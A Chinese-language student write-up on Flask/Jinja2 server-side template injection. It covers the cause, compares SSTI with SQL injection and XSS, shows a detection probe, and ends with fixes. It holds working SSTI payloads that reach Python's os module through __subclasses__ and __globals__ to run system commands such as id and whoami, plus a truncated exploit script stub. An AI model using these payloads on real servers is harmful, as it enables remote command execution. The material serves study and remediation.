SSTI(Server-Side Template Injection)-服务端模版注入
- 这是一篇在学校做的作业,看笔记里写的比较完整,po一下
漏洞成因
服务端接收了用户的恶意输入以后,未经任何处理就将其拼接作为 Web 应用模板内容的一部分,服务端web应用使用模版引擎进行编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。(模版可控)
- 区别sql注入
虽然同属于注入型漏洞,但是sql注入是后端将本语言进行数据库查询的时候,没有做合法处理拼接了用户的输入,造成了sql语句的执行,数据库结构化查询。SSTI模版注入是获取用户的输入后,后端的框架使用模版引擎中的渲染函数生成html的时候,破坏了原本的模版内容,执行了用户输入的代码。 - 区别xss
对用户输入和输出没有进行合法处理的时候都会出现xss漏洞,某些存在SSTI的应用也会存在xss。但是xss漏洞是前端浏览器执行了js代码,SSTI是后端模版引擎中的渲染函数执行了恶意代码。
python-flask-SSTI-jinja2
flask框架
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其模板引擎是使用的Jinja2 。Flask 提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
- 其它框架:比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
模版引擎(模版语言)
用于web应用开发的模版引擎,为了让业务逻辑(后端试图函数,处理用户请求以及数据存取操作等)和页面逻辑(前端html页面)分离,生成一个标准的html文档。后端代码是 Python 代码,前端代码是 HTML 代码,两种代码分别写在视图函数和模板文件中。
模版引擎会提供一套生成html代码的程序,只需要获取用户的数据,然后放在渲染函数里,生成带有用户输入数据的前端html页面(替换特定位置上预先定义好的占位变量),反馈给浏览器。
- jinja2是flask框架内置的模版引擎。
jinja2中常见语法
1 | {% raw %} |
- 其它模版:Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。
模版渲染(过程)
通过动态赋值 ,将重新翻译好的html文件(模板引擎生效) 返回给用户的过程。
复现过程
检测
注入探测字符,例如:?name={ {7*8} },查看应用程序是否进行了相应的计算并显示



漏洞利用
获取os模块并执行任意系统命令
payload:{ { } }语法
1 | { {''.class.mro[1].subclasses()[213].init.globals['os'].popen('id').read()} } |
url编码之后:
?name={{%27%27.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen("whoami").read()}}payload分析
{ {''.__class__} }找到当前类

1 | ?name={ {"".__class__.__mro__} } 寻找基类 (也可以用base) |

"".__class__.__mro__[1].__subclasses__()返回object所有子类(需要找到包含os模块的类)

1 | ''.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__查找os类下的的所有方法(在python中就是import的模块,需要使用os模块) |

os.popen()方法:从一个命令打开一个管道,可以执行命令,返回的是文件对象,使用read()方法读取返回的值

其它利用方式:
1 | //读文件 |
Exp:
1 | import requests |
漏洞修复
核心思想:先渲染后处理用户输入
- 使用render_template模版函数:(先渲染后替换)
示例:见python项目(code1)
- 更换参数拼接方式(示例:code3)
1
2
3
4
5 html
def hello():
name=request.args.get('name','world')
temp=Template('Hello {{n}}')
return temp.render(n=name)
参考
https://blog.csdn.net/weixin_42635252/article/details/83341226
https://blog.csdn.net/qq_57172130/article/details/116378826
https://www.jianshu.com/p/a736e39c3510


